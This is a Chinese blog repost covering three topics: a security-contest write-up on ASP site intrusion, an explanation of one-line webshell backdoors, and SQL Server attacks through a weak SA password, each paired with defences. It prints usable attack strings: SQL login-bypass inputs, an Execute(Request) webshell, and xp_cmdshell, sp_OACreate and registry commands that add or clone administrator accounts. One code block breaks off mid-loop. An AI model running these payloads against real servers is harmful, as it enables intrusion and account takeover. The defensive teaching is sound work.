Chinaunix首页 | 论坛 | 博客
  • 博客访问: 645441
  • 博文数量: 245
  • 博客积分: 4732
  • 博客等级: 上校
  • 技术积分: 3102
  • 用 户 组: 普通用户
  • 注册时间: 2007-11-02 14:31
文章分类

全部博文(245)

文章存档

2012年(1)

2011年(42)

2010年(132)

2009年(59)

2008年(11)

我的朋友

分类: 系统运维

2009-12-23 15:21:54

添加者: 发布时间:2008-1-6  


http://sally.blog.51cto.com/31969/57902

版权声明:原创作品,谢绝转载!否则将追究法律责任。
    目前中国互联网安全事件层出不穷,每天都有众多网站被黑客入侵破坏。为了提高网站管理者的攻防能力,前不久由IT168网络安全频道、IXPUB.Net技术论坛主办,北京华安普特网络科技有限公司协办的“IT168网络安全大奖赛”正式开幕。本次大奖赛通过搭建真实环境,在专有服务器上模拟类似安全问题,让网友进行攻防演练,从而达到提高网站管理者的攻防能力和安全意识的目的。大赛同时向广大网友征集相关安全问题解决方案。作为一名网站管理者和网络安全爱好者,我个人认为此次活动出发点非常好,而且模拟网站搭建的也很有学问,既不是漏洞百出、不堪一击,也不是象众多网友所说的“很BT”、“数据库连读写权限都没有”,模拟网站设计者还是在网站的一些地方留下了一些致命的漏洞,但要找到这些漏洞也并非易事,需要我们不停的尝试,整个入侵过程就如同我们看美剧“越狱”一样,永远不知道接下来会遇到什么困难。下面我们就结合这段视频,讲解一下入侵者是如何得到模拟网站的WebShell权限,以及网站管理者该如何防范黑客入侵。
入侵者首先使用SQL注入工具“啊D”对网站进行了扫描,通过得到的注入点,获得了经过MD5加密的网站后台管理员用户名和密码,经过解密得到了明文的管理员用户名和密码,然后登录后台管理程序,上传一句话木马,得到WebShell权限,找到指定的文件。                                                                    图1
不难看出,该模拟网站的结构比较典型,和众多中小网站一样,属于动态网站,是“IIS+ASP+ACCESS”组合,都是由前台显示程序,后台管理程序,以及网站数据库组成。模拟网站之所以被黑客入侵,是因为网站设计者的一些“疏忽”造成网站存在一些漏洞,而这些“疏忽”也正是在现实中网站管理者经常犯的,可见模拟网站设计者的网站攻防经验十分丰富。下面我们来看看模拟网站都存在哪些漏洞,以及该如何防范。
1、SQL注入漏洞。这种漏洞在网上很普遍,通常是由于程序员对SQL注入攻击不了解,程序过滤不严格,或者某个参数忘记检查所产生的。这就导致入侵者通过构造特殊的SQL语句,而对数据库进行跨表查询攻击,通过这种方式很容易使入侵者得到一个WebShell,然后利用这个WebShell做进一步的渗透,直至得到系统的管理权限,所以这种漏洞产生的危害很严重。建议网站管理者使用NBSI、啊D、小榕的WED+WIS等注入工具对自己的网站扫描一下,看是否存在此漏洞。如果存在该漏洞,则可以在存在漏洞的页面加入以下代码:
<%
dim sqlcheck
sqlcheck=request(“id”)
if isnumeric(sqlcheck)=0 or sqlcheck=”” then
response.write “参数错误,请重新输入!”
response.end
end if
%>
2、后台管理链接“大大方方”的放在首页上。要登录后台上传木马,找到后台管理路径是关键,这次模拟网站的后台管理链接直接放在了网站的首页上,入侵者可以轻易的找到。即使后台管理路径没有在首页上做链接,也会被SQL注入工具扫描出来,因为路径太容易被搜索到了。所以建议后台管理路径要放在深目录下,后台管理目录和登录页的名字也要起的复杂些,不要起admin、houtai等常见名字,这样才不容易被扫描到。另外,网站的数据库也要采取这种措施。
3、后台管理员用户名和密码过于简单。尽管后台管理员用户名和密码经过MD5加密,但还是可以被破解的,类似这样破解MD5密码的网站有很多,也有象Rainbowcrack、MD5Crack、DeMD5等这类的暴力破解软件,所以密码设置的复杂些也很重要。
4、上传文件格式限制不严谨。因为模拟网站后台管理使用的是ewebeditor字符编辑器,而这种编辑器有上传漏洞,只对类似于“asp”、“php”、“apsx”这类常见文件做了限制,而没有对“asa”格式的文件做限制(经过测试cer格式的文件也可以上传),入侵者还是将海阳顶端木马Eval版的一句话木马(对于一句话木马的防范,参考:,讲解的比较详细,这里就不详谈了)上传到了服务器上,从而获得服务器的WebShell权限,可谓是“千里之堤,溃于蚁穴”。
除了上面几个网站漏洞外,下面的漏洞也在网站中比较常见,同样需要网站管理者引起重视:
1、一种比较特殊的Sql注入漏洞。之所以说比较特殊,是因为它同样是通过构造特殊的SQL语句,来欺骗鉴别用户身份代码的,但与Sql注入的提交方式不同。比如入侵者找到后台管理入口后,在管理员用户名和密码输入“'or '1'='1'”、“'or''='”、“') or ('a'='a”、“" or "a"="a”、“' or 'a'='a”、“' or 1=1--”等这类字符串(不包含引号),提交,就有可能直接进入后台管理界面。这个漏洞比较老了,但还是在一些网站存在着。解决这个漏洞的办法是对“’”这类特殊字符进行过滤或者替换。
2、对提交的特殊字符不过滤。对于网友在网站注册用户信息和留言时,也要过滤提交的特殊字符,防止入侵者提交HTML语句。本次大赛的模拟网站就没有过滤这些特殊字符,可以导致网页被挂马、跨站等,如图2所示。
                                                                                              图2
3、跨站漏洞。跨站漏洞的英文名称为Cross Site Script,即跨站脚本攻击,简称CSS(网页制作中的层叠样式表单也简称为CSS),也有人称之为XSS。它指的是恶意攻击者通过Web页面向数据库或HTML页面中提交恶意的HTML代码,当用户打开有恶意代码的连接或页面时,恶意代码会自动执行,从而达到攻击者的目的。产生这个漏洞的原因是网站开发者在编写程序时没有对用户提交的语句和变量中的HTML代码进行过滤或限制。跨站漏洞的危害性也比较大,并且该漏洞利用方法非常灵活,隐蔽性,利用该漏洞可以:
(1)得到受害者计算机中的Cookie信息,然后进行Cookie欺骗,成功后,获得对方在网站中的所有权限;
(2)使计算机用户打开带有木马的网页;
(3)使入侵者直接在Web系统中得到更高的操作权限;
(4)入侵者有可能对网站浏览者发起网络钓鱼式攻击。
解决这个漏洞的方法同样是过滤或转换用户提交的一些特殊字符,比如:<,>,@,%,&,’,”,\,#等,过滤&和#是为了防止恶意攻击者将字母转换成ASC码提交,另外还要限制用户提交的字符串长度。
4、Cookie欺骗。这种入侵方式通常要上面的跨站漏洞和SQL注入结合使用,入侵者在得到受害者的Cookie后,把自己计算机上的Cookie文件修改为受害者的Cookie,就可以以受害者的身份进入网站。建议登录后台管理程序时使用Session验证。
5、暴库漏洞。这个漏洞是在2004年被牛人公布的,该漏洞是因为IIS解码的一个特性产生的,与网站开发者编写的网站代码无关。入侵者只要在IE中提交类似于(%5c是“\”的十六进制代码)这样的地址,就有可能暴出数据库在服务器上的绝对地址,被入侵者下载到本地浏览。解决这个漏洞方法很简单,在数据库连接文件conn.asp中加上On Error Resume Next就可以了,具体如下:
<%
    on error resume next
 dim conn
 dim dbpath
    set conn=server.createobject("adodb.connection")
 DBPath = Server.MapPath("fdsasdffdsa/db/fdsafdsafds.mdb")
 conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>
6、数据库安全问题。如果网站使用的是Access数据库,就涉及到数据库有可能被下载的问题。解决这个问题的方法很多,比较简单的做法就是在数据库名前加“#”符号,这样就无法下载该数据库了。如果数据库是SQLServer、Oracle等数据库,建议数据库连接用户一定不要使用Sa等拥有很高权限的用户,一旦数据库的Sa密码泄露了,别说网站的安全无法保证,服务器都有可能被入侵者拿下(这篇文章有详细介绍:)。
对于网站的入侵方法还有不少,比较常见的还有旁注入侵法、嗅探目标网站ftp用户提权法(有太多的知名安全站点都吃过这个亏),因为涉及到服务器的安全配置问题,所以就不在本文的讨论范围内,希望以后有机会与大家交流这个话题。由于作者技术水平有限,本文如有不当之处,还望各位高手多提宝贵建议,达到互相学习、共同进步的目的,谢谢。

本文出自 “sally” 博客,谢绝转载!

附件下载:
  
2004年开始,网络上开始流传一种新型的WebShell后门。这种后门的优点在于体积小巧,最小的一句话后门长度仅为22个字节。
  正因为如此,很多黑客习惯将这样的脚本插入到站点的一些正常脚本代码中,从而逃避管理员的眼睛,达到后门的目的。
  比较出名的有IcyFox的微型ASP木马、海阳顶端ASP木马C/S版、Lanker的微型PHP木马。
那么,我们该如何防范一句话后门的攻击呢?
  一句话后门通常以一个执行函数为载体,因为体积小且函数本身使用的比较普遍,导致杀毒软件在特征码的判断上存在疑虑而不敢擅自进行查杀(至少笔者看到的杀毒软件中,没有一个对一句话木马进行查杀)。
  以ASP为例,一句话后门类似“<% Execute(Request("K")) %>”。我们来分段看看这句话的含义。
  首先Request("k")是来自Client端提交的脚本,这是由黑客提交的数据,服务端只负责接收这个数据。
  接着这个数据被交给Execute函数来执行,也就是对脚本解析并执行的过程。这样,只要通过脚本来进行的行为都将在服务端执行,也就对服务端造成了威胁。
  从中我们不难发现,整个过程中,关键的部分如Execute是只运行在服务器中的,而Request则是个连接黑客和Server的纽带。
  请不要只想着Execute函数,这不过是个傀儡。我们要做的是切断黑客与傀儡之间的联系桥梁,这样,傀儡再怎么强大也将变得没有用处。
  因此,笔者的思路是在黑客们提交脚本数据时对他们进行检测。下面是笔者写的一段脚本代码,仅供大家参考。

  <%
  Badstr=Lcase("Response.,Request(,Request.,Session(,CreateObject(,Runat=,Eval(,Execute(,GetObject(.,Application,APplication(")
  Badstrp=split(badstr,",")
  If Request.Form<>"" Then
  For Each i In Request.Form
  For j=Lbound(Badstrp) To Ubound(Badstrp)

(编辑:无影无踪)

更新时间:
关 键 词:      
阅读提示:我们都知道,在网络中Microsoft SQLServer的入侵最常见的就是利用SA弱口令入侵了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?为什么利用它可以获得系统Microsoft SQLServer是一个c/s模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。我们都知道,在网络中Microsoft SQLServer的入侵最常见的就是利用SA弱口令入侵了,而核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?为什么利用它可以获得系统管理员权限?

存储过程是存储在SQLServer中的预先写好的SQL语句集合,它分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。
系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以"sp_"开头。
用户定义的存储过程是用SQLServer的使用者编写的存储过程。
扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。

SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd
shell 'net localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为12345,有管理员权限的用户,现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。下面就详细的讲一下Microsoft SQLServer中利用SA弱口令的攻击与防范。

通常当我们扫描到一台有Microsoft SQLServer SA弱口令的机器,都会用一些专门的攻击工具,比如SqlExec,如图x.1所示,SuperSQLEXEC,如图x.2所示,以及SQL综合利用工具,如图x.3所示。

图x.1  SqlExec运行界面

图x.2  SuperSQLEXEC运行界面
 
 
图x.3  SQL综合利用工具


这三款软件相对来讲SQL综合利用工具的功能更强些,因为它可以利用漏洞上传文件,这样我们就可以上传木马程序,然后执行。

可是在实际操作中,情况并不象我们的那样简单,我们上传木马程序后,一般都会被对方的杀毒软件杀掉。而且经过使用SQL事件探查器(可以通过安装Microsoft SQLServer获得)对SQL综合利用工具提交的SQL语句抓取发现,要使SQL综合利用工具上传功能成功完成,有个前提条件就是对方Microsoft SQLServer中的存储过程xp_cmdshell没有被删除,如图x.4所示,否则无法成功执行,也就是说就算我们的木马可以不被查杀,无法执行上传功能也是没有用的。

图x.4  SQL事件探查器抓取的
SQL综合利用工具提交的SQL语句


删除xp_cmdshell的语句为:exec sp_dropextendedproc 'xp_cmdshell',同样我们也可以使用Microsoft SQLServer中的查询分析器连接到对方的Microsoft SQLServer,来恢复xp_cmdshell,语句为:exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',如图x.5所示。恢复后,我们就可以使用SQL综合利用工具的上传功能了,并可以执行上传的文件。

图x.5  查询分析器的界面

但如果对方把Microsoft SQLServer中的xplog70.dll文件删除或放到其他地方了, xp_cmdshell就无法执行我们发出的命令了。

难道就没有其他办法了?当然不是,在Microsoft SQLServer中有一系列与OLE相关的存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,所以被删除的可能性就小一些。这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。

使用查询分析器连接到对方的Microsoft SQLServer,在查询分析器中执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC 
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 
12345 /add'--

再执行:DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net 
localgroup administrators test /add '--


就可以在对方的系统添加一个用户名为test,密码为12345,有管理员权限的用户。

如果对方把Xp_cmdshell、SP_OACREATE等可执行系统命令的存储过程,以及与它们相对应的动态连接库文件删除了,我们还有一个办法,就是使用可以读取和修改注册表的存储过程来克隆对方系统的管理员用户。在查询分析器里运行下面的语句:

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F',

可以得到对方系统administrator的加密密码,然后复制,如图x.6所示。

图x.6  使用xp_regread得到加密密码


然后再执行:

xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5
','F','reg_binary',0x(上面复制的那串字符),

如果对方有远程终端服务,那我们就可以用Guest用户登陆,密码为空,而且Guest的桌面与administrator的完全一样。

有很多种方法得到Microsoft SQLServer SA的密码,比如通过Sniffer到SA的加密密码,然后通过密码对照表(网上可以找到),得到SA的明文密码,再比如通过SQL注入得到SA密码或者使用sp_password(修改数据库用户密码的存储过程)修改得到SA密码,还有可以挂密码字典进行暴力破解。一旦被SA密码被入侵者得到,会对服务器的安全带来很大隐患,所以我们整理了一个解决方案提供给大家:

1.在确定不需要的情况下,删除xp_cmdshell,xp_dirtree,xp_regread,xp_regdeletekey,xp_regdeletevalue,xp_regwrite,sp_oacreate,sp_oadestroy,sp_oagetErrorInfo,sp_oagetProperty,sp_oamethod,sp_oasetProperty,sp_oastop这些存储过程,移走相关的动态连接库文件,在需要的时候复制到原来的位置就可以了。
2.应用程序和网站在与后台的Microsoft SQLServer数据库连接时不要用SA等高权限的用户连接。
3.给SA等高权限的用户起一个健壮的密码。管理员权限?
系统安全之SA弱口令带来的安全隐患

阅读(491) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~